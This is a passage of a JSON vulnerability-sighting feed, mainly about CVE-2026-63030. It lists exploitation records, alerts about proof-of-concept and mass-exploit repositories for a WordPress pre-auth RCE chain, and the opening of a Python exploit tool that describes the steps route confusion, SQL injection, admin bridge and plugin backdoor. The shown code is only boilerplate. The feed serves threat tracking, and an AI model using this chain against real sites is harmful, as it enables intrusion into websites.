LLM.\n\n\u041f\u043e\u0437\u0436\u0435 \u0442\u043e\u0442 \u0436\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u044b ZyXEL GS1900 Smart Managed Switches, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-7273.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c GreyNoise, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c 996 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u043e\u0432 \u0432 48 \u0441\u0442\u0440\u0430\u043d\u0430\u0445, \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u0441\u0435\u0442\u0435\u0432\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438 \u0445\u0435\u0448\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 root. \u0418\u0437 \u044d\u0442\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c 564 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.", "url": "https://t.me/true_secator/8640"}, {"timestamp": "2026-09-23T20:00:01Z", "date_only": false, "value": "2026-09-23T20:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "enisa-cnw-kev", "record": "CVE-2026-63030", "field": "timestamps.recorded_at", "uuid": "52d5288e-4cf6-435f-95fd-5a35606b08f2", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-23T20:00:02.809Z", "date_only": false, "value": "2026-09-23T20:00:02.809484Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/52d5288e-4cf6-435f-95fd-5a35606b08f2", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "2aedda48-ebbe-4c43-a35f-f994d884727f", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/52d5288e-4cf6-435f-95fd-5a35606b08f2"}, {"timestamp": "2026-09-24T01:04:42Z", "date_only": false, "value": "2026-09-24T01:04:42.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103182", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "1213517d-5e59-4ba8-93f6-dee04fcff5fc", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a fl0ydsec\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-24 01:04:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWP2Shell - CVE-2026-63030 + CVE-2026-60137 WordPress Core pre-auth RCE mass exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103182"}, {"timestamp": "2026-09-24T01:04:42Z", "date_only": false, "value": "2026-09-24T01:04:42.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103182", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "fde1e888-adbf-4a00-97cf-54b711cb1cdd", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a fl0ydsec\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-24 01:04:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWP2Shell - CVE-2026-63030 + CVE-2026-60137 WordPress Core pre-auth RCE mass exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103182"}, {"timestamp": "2026-09-24T09:00:04Z", "date_only": false, "value": "2026-09-24T09:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/cjlcZTFFUyGrwljsqQ_tJDhKhIyBt5_Ycl19FfJ_ZRz-oCM", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "ed9d1385-881e-4b83-83d9-e226aa565a80"}, {"timestamp": "2026-09-24T09:00:04Z", "date_only": false, "value": "2026-09-24T09:00:04.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/cjlcZTFFUyGrwljsqQ_tJDhKhIyBt5_Ycl19FfJ_ZRz-oCM", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9a2f7c8f-3dc0-4405-9a77-2c2d276c22ce"}, {"timestamp": "2026-09-26T19:00:10Z", "date_only": false, "value": "2026-09-26T19:00:10.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103466", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "4d7d9360-758d-4ddc-9327-29aa12e1a01e", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE #Nuclei\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a langz337\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-26 18:33:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103466"}, {"timestamp": "2026-09-27T14:00:07Z", "date_only": false, "value": "2026-09-27T14:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103539", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "702d92eb-1651-4aa0-a3cd-865382d061aa", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030-60137-wp2shell-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a jed-parsec\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-27 13:28:39\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated SQL injection PoC and vulnerable lab environment for WP2Shell (CVE-2026-63030 + CVE-2026-60137) \u2014 a WordPress REST API batch route confusion chained into a WP_Query SQL injection. Includes Docker Compose lab setup and a Python exploitation script. For authorized security research only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103539"}, {"timestamp": "2026-09-27T21:00:04Z", "date_only": false, "value": "2026-09-27T21:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/3c9srXY8de1OJkBnfqEEqOhTsR2WGThzUoLs-q4hUEIXmM0", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "bb75fc12-99d4-4187-9c95-360b3c190b6f"}, {"timestamp": "2026-09-27T21:00:04Z", "date_only": false, "value": "2026-09-27T21:00:04.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/3c9srXY8de1OJkBnfqEEqOhTsR2WGThzUoLs-q4hUEIXmM0", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "5520d1a2-bbe2-41d0-8548-371413a238e5"}, {"timestamp": "2026-09-27T21:16:46.659Z", "date_only": false, "value": "2026-09-27T21:16:46.659302Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mwjpvrz2qr22", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "4757680a-fa1c-47fa-b7a1-be012c65f220", "content": "\ud83e\udd16 WP2Shell: WordPress CVE-2026-63030 (REST API batch route confusion) + CVE-2026-60137 (WP_Query author__not_in SQLi) chain into unauth SQLi\u2192RCE, CVSS 9.8. Fixed in 6.9.5/7.0.2. PoC lab:\nhttps://github.com/jed-parsec/CVE-2026-63030-60137-wp2shell-lab", "url": "https://bsky.app/profile/newssecia.bsky.social/post/3mwjpvrz2qr22"}, {"timestamp": "2026-09-29T17:00:07Z", "date_only": false, "value": "2026-09-29T17:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/103783", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f7a628c0-6a89-484d-9c81-60fa9f0f36c6", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WP2Shell--CVE-2026-63030-CVE-2026-60137-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a MRdark-ops\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-29 16:29:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated SQL injection PoC and vulnerable lab environment for WP2Shell (CVE-2026-63030 + CVE-2026-60137) \u2014 a WordPress REST API batch route confusion chained into a WP_Query SQL injection. Includes Docker Compose lab setup and a Python exploitation script. For authorized security research only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103783"}, {"timestamp": "2026-09-29T17:00:07Z", "date_only": false, "value": "2026-09-29T17:00:07.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/103783", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "8e92760b-a077-4d14-820b-18e90326e4f4", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WP2Shell--CVE-2026-63030-CVE-2026-60137-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a MRdark-ops\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-29 16:29:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated SQL injection PoC and vulnerable lab environment for WP2Shell (CVE-2026-63030 + CVE-2026-60137) \u2014 a WordPress REST API batch route confusion chained into a WP_Query SQL injection. Includes Docker Compose lab setup and a Python exploitation script. For authorized security research only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/103783"}, {"timestamp": "2026-09-30T03:00:06Z", "date_only": false, "value": "2026-09-30T03:00:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/W6KIGBKNkvsXlzUZXWVH9IksVZHdVGt-ZVnKWZr-SExOhZ8", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "e1167281-fff0-41ad-99cc-2a94facbde90"}, {"timestamp": "2026-09-30T03:00:06Z", "date_only": false, "value": "2026-09-30T03:00:06.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/W6KIGBKNkvsXlzUZXWVH9IksVZHdVGt-ZVnKWZr-SExOhZ8", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "4e02bfe0-8a5a-4fc4-9203-04114eabe679"}, {"timestamp": "2026-10-03T19:00:08Z", "date_only": false, "value": "2026-10-03T19:00:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/104208", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "919b578b-fbad-4ac5-b9d9-21d840cdf148", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a hitechcloud-vietnam\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-10-03 18:49:41\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 & CVE-2026-60137 RCE chain proof-of-concept\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/104208"}, {"timestamp": "2026-10-03T19:00:08Z", "date_only": false, "value": "2026-10-03T19:00:08.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/104208", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a6c1d86c-c9b7-42eb-a686-1dda25d61fd9", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a hitechcloud-vietnam\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-10-03 18:49:41\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 & CVE-2026-60137 RCE chain proof-of-concept\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/104208"}, {"timestamp": "2026-10-04T03:00:04Z", "date_only": false, "value": "2026-10-04T03:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/8xTYIpWU8NHpgVLmZ1lNuQy1JM2CdmT9IiEbO-11gD6ffZ0", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "3628d561-fd41-45ce-975a-e09b4910fed8"}, {"timestamp": "2026-10-04T03:00:04Z", "date_only": false, "value": "2026-10-04T03:00:04.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/8xTYIpWU8NHpgVLmZ1lNuQy1JM2CdmT9IiEbO-11gD6ffZ0", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a24300fb-2d8d-4f12-8593-b26858e720fd"}, {"timestamp": "2026-10-05T07:10:20.208Z", "date_only": false, "value": "2026-10-05T07:10:20.208461Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3mx4edlty2j25", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "586d6f46-9a5b-481f-870c-1bf3d20548c5", "content": "CVE-2026-63030 is trending. Hype score 7, currently #6 on cvemon.\n\nWordPress 6.9.x before 6.9.5 and 7.0.x before 7.0.2 is affected by a REST API batch endpoint route confusion issue which, combined with the author__not_in WP_Query SQL Injection\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-63030", "url": "https://bsky.app/profile/cvemon.bsky.social/post/3mx4edlty2j25"}, {"timestamp": "2026-10-07T17:00:07Z", "date_only": false, "value": "2026-10-07T17:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/104571", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9fc32799-5b59-494c-8544-a66f280cc40a", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a manpisetsu\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-10-07 16:51:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 + CVE-2026-60137 exploit RCE chain\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/104571"}, {"timestamp": "2026-10-07T18:26:30.478Z", "date_only": false, "value": "2026-10-07T18:26:30.478Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2026-63030", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-10-07T18:26:30.478Z", "date_only": false, "value": "2026-10-07T18:26:30.478Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-63030", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-10-08T03:00:05Z", "date_only": false, "value": "2026-10-08T03:00:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/rKD7aTXmU8rmpJnqvlRqgqPKMURUCH8RvOSayxu8507-eEM", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "4ef1684a-d56b-4560-968e-212525818eb0"}, {"timestamp": "2026-10-08T10:35:50.787Z", "date_only": false, "value": "2026-10-08T10:35:50.787", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-63030", "record": "FKIE_CVE-2026-63030", "field": "lastModified"}, {"timestamp": "2026-10-10T12:09:27Z", "date_only": false, "value": "2026-10-10T12:09:27.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/8AOClcwsQWylKuX4yfZ5PseHzo_BEF2Q8zcbaAGSYI2FbJU", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "1a421044-f88d-4728-b11b-c771efd1e959"}, {"timestamp": "2026-10-10T12:09:27Z", "date_only": false, "value": "2026-10-10T12:09:27.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/8AOClcwsQWylKuX4yfZ5PseHzo_BEF2Q8zcbaAGSYI2FbJU", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f37fac6a-0bca-4ef5-bc57-ad2c207b898f"}, {"timestamp": "2026-10-13T17:44:44Z", "date_only": false, "value": "2026-10-13T17:44:44.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/roccxoubt-gif/cce148a8d885da0db87ed05e20213518", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f1a48f9f-28cf-4968-8e83-2f047a29a592", "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# CyphrSec WP2Shell v7.1 - CVE-2026-63030 + CVE-2026-60137\n# WordPress Core pre-auth RCE: REST batch route confusion + SQLi\n# Chain: route confusion -> SQLi -> UNION admin bridge -> plugin backdoor -> RCE\n#\n# by CyphrSec (Cyp1337) - https://github.com/0xCyp1337\n# tg: https://t.me/kingepepp\nfrom __future__ import annotations\n\nimport argparse\nimport concurrent.futures\nimport csv\nimport dataclasses\nimport datetime as dt\nimport hashlib\nimport html\nimport http.cookiejar\nimport io\nimport json\nimport os\nimport random\nimport re\nimport secrets\nimport shutil\nimport socket\nimport ssl\nimport statistics\nimport string\nimport sys\nimport threading\nimport time\nimport urllib.error\nimport urllib.parse\nimport urllib.request\nimport uuid\nimport zipfile\nfrom collections import Counter\nfrom dataclasses import dataclass, field\nfrom pathlib import Path\nfrom typing import Any, Dict, Iterable, List, Mapping, Optional, Sequence, Set, Tuple, Union\n\n\nif sys.platform == \"win32\":\n    try:\n        sys.stdout.reconfigure(encoding=\"utf-8\", errors=\"replace\")\n        sys.stderr.reconfigure(encoding=\"utf-8\", errors=\"replace\")\n    except Exception:\n        pass\n\nif os.name == \"nt\":\n    try:\n        os.system(\"\")\n    except Exception:\n        pass\n\n_STDOUT_ISATTY = bool(sys.stdout.isatty())\n_ANSI = False\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  MODERN PURPLE PALETTE\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef _paint(code: str, text: str) -> str:\n    if not _ANSI:\n        return text\n    return f\"\\033[{code}m{text}\\033[0m\"\n\n\ndef purple(t: str) -> str:    return _paint(\"38;5;141\", t)\ndef deep(t: str) -> str:      return _paint(\"38;5;99\", t)\ndef violet(t: str) -> str:    return _paint(\"1;38;5;135\", t)\ndef pink(t: str) -> str:      return _paint(\"1;38;5;213\", t)\ndef magenta(t: str) -> str:   return _paint(\"1;38;5;201\", t)\ndef cyan(t: str) -> str:      return _paint(\"1;38;5;51\", t)\ndef mint(t: str) -> str:      return _paint(\"1;38;5;121\", t)\ndef lime(t: str) -> str:      return _paint(\"1;38;5;46\", t)\ndef amber(t: str) -> str:     return _paint(\"1;38;5;220\", t)\ndef coral(t: str) -> str:     return _paint(\"1;38;5;203\", t)\ndef lav(t: str) -> str:       return _paint(\"38;5;183\", t)\ndef white(t: str) -> str:     return _paint(\"1;97\", t)\ndef gray(t: str) -> str:      return _paint(\"38;5;245\", t)\ndef dim(t: str) -> str:       return _paint(\"2\", t)\n\n\ndef _ts() -> str:\n    \"\"\"Short HH:MM:SS timestamp for logs / owned.txt lines.\"\"\"\n    return dt.datetime.now().strftime(\"%H:%M:%S\")\n\n\n# Semantic aliases\ngreen = mint\nred = coral\nyellow = amber\nblue = cyan\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  BOX DRAWING HELPERS \u2014 auto-aligned\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n_BOX_W = 80\n_ANSI_RE = re.compile(r\"\\x1b\\[[0-9;]*m\")\n\n\ndef _vis(s: str) -> int:\n    \"\"\"Visible width of a string (ignoring ANSI color codes).\"\"\"\n    return len(_ANSI_RE.sub(\"\", s))\n\n\ndef _pad_vis(s: str, width: int) -> str:\n    \"\"\"Right-pad s so its visible width matches width.\"\"\"\n    diff = width - _vis(s)\n    if diff <= 0:\n        return s\n    return s + (\" \" * diff)\n\n\ndef box_top(title: str) -> str:\n    \"\"\"\u256d\u2500 TITLE \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256e\"\"\"\n    head = \"\u256d\u2500 \" + title + \" \"\n    n = _BOX_W - _vis(head) - 1\n    if n < 0:\n        n = 0\n    return violet(head) + violet(\"\u2500\" * n) + violet(\"\u256e\")\n\n\ndef box_mid() -> str:\n    \"\"\"\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\"\"\"\n    return violet(\"\u251c\" + (\"\u2500\" * (_BOX_W - 2)) + \"\u2524\")\n\n\ndef box_bot() -> str:\n    \"\"\"\u2570\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256f\"\"\"\n    return violet(\"\u2570\" + (\"\u2500\" * (_BOX_W - 2)) + \"\u256f\")\n\n\ndef box_line(content: str = \"\") -> str:\n    \"\"\"\u2502 content padded to fit \u2502\"\"\"\n    return violet(\"\u2502\") + _pad_vis(content, _BOX_W - 2) + violet(\"\u2502\")\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  CONFIG\n# 